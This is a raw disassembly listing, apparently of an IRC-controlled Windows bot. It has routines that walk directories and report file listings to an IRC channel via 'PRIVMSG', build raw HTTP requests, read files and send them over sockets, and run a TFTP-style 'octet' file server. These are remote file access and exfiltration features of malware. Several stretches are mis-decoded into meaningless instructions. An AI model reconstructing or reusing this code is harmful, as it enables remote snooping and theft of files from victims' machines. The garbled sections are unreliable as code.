		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_411EDA
		add	esp, 1Ch
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_431EE0
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_411EDA
		add	esp, 0Ch
		jmp	short loc_404CAF
; ---------------------------------------------------------------------------


loc_404C95:				; CODE XREF: seg000:00404BB6j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_411EDA
		add	esp, 10h


loc_404CAF:				; CODE XREF: seg000:00404BADj
					; seg000:00404C93j
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_431EE0
		cmp	[ebp+14h], ebx
		jz	short loc_404D47
		push	dword ptr [ebp+14h]
		call	sub_411FB0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_404D47
		push	dword ptr [ebp+14h]
		call	sub_411FB0
		sub	eax, 3
		pop	ecx
		jz	short loc_404CFB


loc_404CEF:				; CODE XREF: seg000:00404CF9j
		mov	ecx, [ebp+14h]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_404CFB
		dec	eax
		jnz	short loc_404CEF


loc_404CFB:				; CODE XREF: seg000:00404CEDj
					; seg000:00404CF6j
		inc	eax
		push	eax
		lea	eax, [ebp-594h]
		push	dword ptr [ebp+14h]
		push	eax
		call	sub_413150
		lea	eax, [ebp-594h]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_411EDA
		add	esp, 1Ch
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_431EE0


loc_404D47:				; CODE XREF: seg000:00404CD1j
					; seg000:00404CDFj
		lea	eax, [ebp-388h]
		push	eax
		push	edi
		call	ds:dword_41D088	; FindFirstFileA
		lea	ecx, [ebp-388h]
		mov	[ebp+8], eax
		push	ecx
		push	eax
		call	ds:dword_41D084	; FindNextFileA
		test	eax, eax
		jz	loc_405138
		mov	edi, 1FFh


loc_404D73:				; CODE XREF: seg000:00405132j
		cmp	[ebp-388h], ebx
		jz	loc_405120
		lea	eax, [ebp-35Ch]
		push	offset a__	; ".."
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405120
		lea	eax, [ebp-35Ch]
		push	offset a__0	; "."
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405120
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-374h]
		push	eax
		call	near ptr 0A70000h
		mov	ds:50E8458Dh, eax
		lea	eax, [ebp-20h]
		push	eax
		call	near ptr 0A70000h
		jle	short near ptr loc_404E37+4
		mov	eax, [ebp-10h]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_404DE8
		mov	ecx, offset aAm	; "AM"


loc_404DE8:				; CODE XREF: seg000:00404DE1j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_404DF4
		sub	eax, 0Ch


loc_404DF4:				; CODE XREF: seg000:00404DEFj
		push	ecx
		movzx	ecx, word ptr [ebp-0Eh]
		push	ecx
		push	eax
		movzx	eax, word ptr [ebp-18h]
		push	eax
		movzx	eax, word ptr [ebp-12h]
		push	eax
		movzx	eax, word ptr [ebp-16h]
		push	eax
		lea	eax, [ebp-48h]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_411963
		add	esp, 20h
		test	byte ptr [ebp-388h], 10h
		jz	loc_404FA1
		inc	dword ptr [ebp-8]
		cmp	[ebp+10h], ebx
		jz	short loc_404E75
		lea	eax, [ebp-35Ch]
		push	eax


loc_404E37:				; CODE XREF: seg000:00404DD3j
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp-490h]
		push	106h
		push	eax
		call	sub_411EDA
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-490h]
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+10h]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_411EDA
		add	esp, 28h
		jmp	loc_4050F1
; ---------------------------------------------------------------------------


loc_404E75:				; CODE XREF: seg000:00404E2Ej
		cmp	[ebp+14h], ebx
		jz	loc_404F5F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_411EDA
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_431EE0
		lea	eax, [ebp-35Ch]
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+14h]
		push	offset aSS	; "%s%s/"
		push	edi
		push	eax
		call	sub_411EDA
		add	esp, 14h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_431EE0
		lea	eax, [ebp-35Ch]
		push	eax
		call	sub_411FB0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp-35Ch]
		push	eax
		jbe	short loc_404F15
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_404F1A
; ---------------------------------------------------------------------------


loc_404F15:				; CODE XREF: seg000:00404F0Cj
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_404F1A:				; CODE XREF: seg000:00404F13j
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_411EDA
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_431EE0
		lea	eax, [ebp-48h]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4050E2
; ---------------------------------------------------------------------------


loc_404F5F:				; CODE XREF: seg000:00404E78j
		lea	eax, [ebp-35Ch]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp-490h]
		push	106h
		push	eax
		call	sub_411EDA
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-490h]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_404F8C:				; CODE XREF: seg000:00404FC9j
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_411EDA
		add	esp, 24h
		jmp	loc_4050F1
; ---------------------------------------------------------------------------


loc_404FA1:				; CODE XREF: seg000:00404E22j
		inc	dword ptr [ebp-4]
		cmp	[ebp+10h], ebx
		jz	short loc_404FCB
		push	ebx
		push	dword ptr [ebp-368h]
		call	sub_409553
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-35Ch]
		push	eax
		push	dword ptr [ebp+10h]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_404F8C
; ---------------------------------------------------------------------------


loc_404FCB:				; CODE XREF: seg000:00404FA7j
		cmp	[ebp+14h], ebx
		jz	loc_4050CB
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_411EDA
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_431EE0
		lea	eax, [ebp-35Ch]
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+14h]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_411EDA
		add	esp, 14h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_431EE0
		lea	eax, [ebp-35Ch]
		push	eax
		call	sub_411FB0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp-35Ch]
		push	eax
		jbe	short loc_40506B
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_405070
; ---------------------------------------------------------------------------


loc_40506B:				; CODE XREF: seg000:00405062j
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_405070:				; CODE XREF: seg000:00405069j
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_411EDA
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_431EE0
		mov	eax, [ebp-368h]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-48h]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_411EDA
		add	esp, 1Ch
		jmp	short loc_4050F1
; ---------------------------------------------------------------------------


loc_4050CB:				; CODE XREF: seg000:00404FCEj
		push	dword ptr [ebp-368h]
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-35Ch]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_4050E2:				; CODE XREF: seg000:00404F5Aj
		lea	eax, [ebp-248h]
		push	eax
		call	sub_411EDA
		add	esp, 18h


loc_4050F1:				; CODE XREF: seg000:00404E70j
					; seg000:00404F9Cj ...
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_431EE0
		cmp	[ebp+10h], ebx
		jz	short loc_405120
		push	7D0h
		call	ds:dword_41D050	; Sleep


loc_405120:				; CODE XREF: seg000:00404D79j
					; seg000:00404D94j ...
		lea	eax, [ebp-388h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_41D084	; FindNextFileA
		test	eax, eax
		jnz	loc_404D73


loc_405138:				; CODE XREF: seg000:00404D68j
		push	dword ptr [ebp+8]
		call	near ptr 0A70000h
		pop	edx
		cmp	[ebp+10h], ebx
		jz	short loc_40517B
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_409553
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp-4]
		cdq
		push	edx
		push	eax
		call	sub_409553
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+10h]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_411963
		add	esp, 14h
		jmp	short loc_4051AF
; ---------------------------------------------------------------------------


loc_40517B:				; CODE XREF: seg000:00405144j
		cmp	[ebp+14h], ebx
		jz	short loc_405195
		lea	eax, [ebp-248h]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx
		jmp	short loc_4051AF
; ---------------------------------------------------------------------------


loc_405195:				; CODE XREF: seg000:0040517Ej
		push	dword ptr [ebp-8]
		lea	eax, [ebp-248h]
		push	dword ptr [ebp-4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_411963
		add	esp, 10h


loc_4051AF:				; CODE XREF: seg000:00405179j
					; seg000:00405193j
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_431EE0
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	dword ptr [ebp+0Ch]
		mov	edi, 400h
		mov	[ebp-4], esi
		call	ds:dword_41D070	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40528D
		push	esi
		push	ebx
		call	near ptr 0A70000h
		fnstcw	word ptr [ebx]
		mov	byte ptr [ecx+6C740C45h], 68h ;	CODE XREF: seg000:00405284j
		add	[eax+eax], al
		add	[ebp-4037Bh], cl
		call	dword ptr [esi+50h]
		call	sub_4119E0
		add	esp, 0Ch
		cmp	edi, [ebp+0Ch]
		jbe	short loc_405237
		mov	edi, [ebp+0Ch]


loc_405237:				; CODE XREF: seg000:00405232j
		mov	eax, [ebp+0Ch]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:dword_41D090	; SetFilePointer
		lea	eax, [ebp-4]
		push	esi
		push	eax
		lea	eax, [ebp-404h]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_41D08C	; ReadFile
		push	esi
		lea	eax, [ebp-404h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_431EE0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405281
		call	ds:dword_431E24
		cmp	eax, 2733h
		jnz	short loc_405286
		xor	eax, eax


loc_405281:				; CODE XREF: seg000:00405270j
		sub	[ebp+0Ch], eax
		jnz	short near ptr loc_405214+6


loc_405286:				; CODE XREF: seg000:0040527Dj
		push	ebx
		call	ds:dword_41D068	; CloseHandle


loc_40528D:				; CODE XREF: seg000:00405205j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_405292	proc near		; CODE XREF: seg000:00404A1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_411FB0
		test	eax, eax
		pop	ecx
		jbe	short loc_4052BB


loc_4052A5:				; CODE XREF: sub_405292+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4052AF
		mov	byte ptr [esi+edi], 2Fh


loc_4052AF:				; CODE XREF: sub_405292+17j
		push	edi
		inc	esi
		call	sub_411FB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4052A5


loc_4052BB:				; CODE XREF: sub_405292+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_405292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4052C0	proc near		; CODE XREF: seg000:0040C55Bp

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	ds:dword_431E08
		push	6
		push	1
		push	2
		call	ds:dword_431F10
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	ds:dword_431E90
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_407E16
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_431E38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40539D
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_405339
		mov	eax, offset byte_430AD0


loc_405339:				; CODE XREF: sub_4052C0+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_411EDA
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	ds:dword_431EE0
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_411A40
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_431EA8
		pop	esi


loc_40539D:				; CODE XREF: sub_4052C0+6Bj
		push	ebx
		call	ds:dword_431F28
		call	ds:dword_431DF0
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_411963
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4053DD
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 14h


loc_4053DD:				; CODE XREF: sub_4052C0+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4052C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053E1	proc near		; CODE XREF: sub_4053E1:loc_4058CCp
					; DATA XREF: seg000:00405B20o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	ds:dword_431F10
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_4054A4
		push	190h
		call	ds:dword_41D050	; Sleep
		call	ds:dword_431E24
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_420FC4
		push	eax
		call	sub_411963
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_405484
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40F466
		add	esp, 14h


loc_405484:				; CODE XREF: sub_4053E1+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_408CFE
		push	[ebp+var_170]
		call	sub_41172B
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		stc


loc_4054A4:				; CODE XREF: sub_4053E1+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	ds:dword_43702C[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	ds:dword_431E90
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	ds:dword_431EBC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405509
		push	1388h
		call	ds:dword_41D050	; Sleep
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_4058CC
; ---------------------------------------------------------------------------


loc_405509:				; CODE XREF: sub_4053E1+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_412F9E
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_405587
		push	190h
		call	ds:dword_41D050	; Sleep
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_420F74
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40F466
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_408CFE
		push	[ebp+var_170]
		call	sub_41172B
		add	esp, 28h
		push	ebx
		call	near ptr 0A70000h
		cld


loc_405587:				; CODE XREF: sub_4053E1+140j
		mov	esi, 200h


loc_40558C:				; CODE XREF: sub_4053E1+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_40588C
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_4119E0
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	ds:dword_431E78
		test	eax, eax
		jle	loc_405880
		mov	al, ds:byte_430AD0
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	ds:dword_431E68
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	ds:dword_431F1C
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_411963
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_40586A
		cmp	[ebp+var_D7], 1
		jnz	loc_4057B6
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_411FB0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_411FB0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_4132E0
		add	esp, 14h
		test	eax, eax
		jnz	loc_405770
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_411FB0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_4132E0
		add	esp, 10h
		test	eax, eax
		jnz	loc_405770
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_41324E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_412E96
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	ds:dword_431EF4
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset unk_420F20


loc_405724:				; CODE XREF: sub_4053E1+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_411963
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_40575E
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40F466
		add	esp, 14h


loc_40575E:				; CODE XREF: sub_4053E1+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_408CFE
		pop	ecx
		jmp	loc_405880
; ---------------------------------------------------------------------------


loc_405770:				; CODE XREF: sub_4053E1+2B6j
					; sub_4053E1+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_420F0C
		push	edi
		call	ds:dword_431EF4
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_420ED0
		push	eax
		call	sub_411963
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_408CFE
		add	esp, 14h
		jmp	loc_405880
; ---------------------------------------------------------------------------


loc_4057B6:				; CODE XREF: sub_4053E1+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_40586A
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_4057F3
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_405801
; ---------------------------------------------------------------------------


loc_4057F3:				; CODE XREF: sub_4053E1+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl


loc_405801:				; CODE XREF: sub_4053E1+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_41324E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_412E96
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	ds:dword_431EF4
		cmp	edi, ebx
		jnz	short loc_405880
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_420E80
		jmp	loc_405724
; ---------------------------------------------------------------------------


loc_40586A:				; CODE XREF: sub_4053E1+268j
					; sub_4053E1+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_420E74
		push	edi
		call	ds:dword_431EF4


loc_405880:				; CODE XREF: sub_4053E1+204j
					; sub_4053E1+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_40558C


loc_40588C:				; CODE XREF: sub_4053E1+1B4j
		push	edi
		call	ds:dword_431F28
		push	[ebp+var_8]
		call	sub_412E40
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short near ptr loc_4058BF+1
		push	[ebp+var_170]
		call	sub_41172B
		pop	ecx
		push	ebx
		call	near ptr 0A70000h


loc_4058BF:				; CODE XREF: sub_4053E1+4CAj
		fild	qword ptr [eax-18h]
		add	eax, [eax]
		add	bh, bh
		adc	eax, offset dword_41D050
		push	esi


loc_4058CC:				; CODE XREF: sub_4053E1+123j
		call	sub_4053E1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4053E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4058D8	proc near		; CODE XREF: seg000:0040EFD2p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
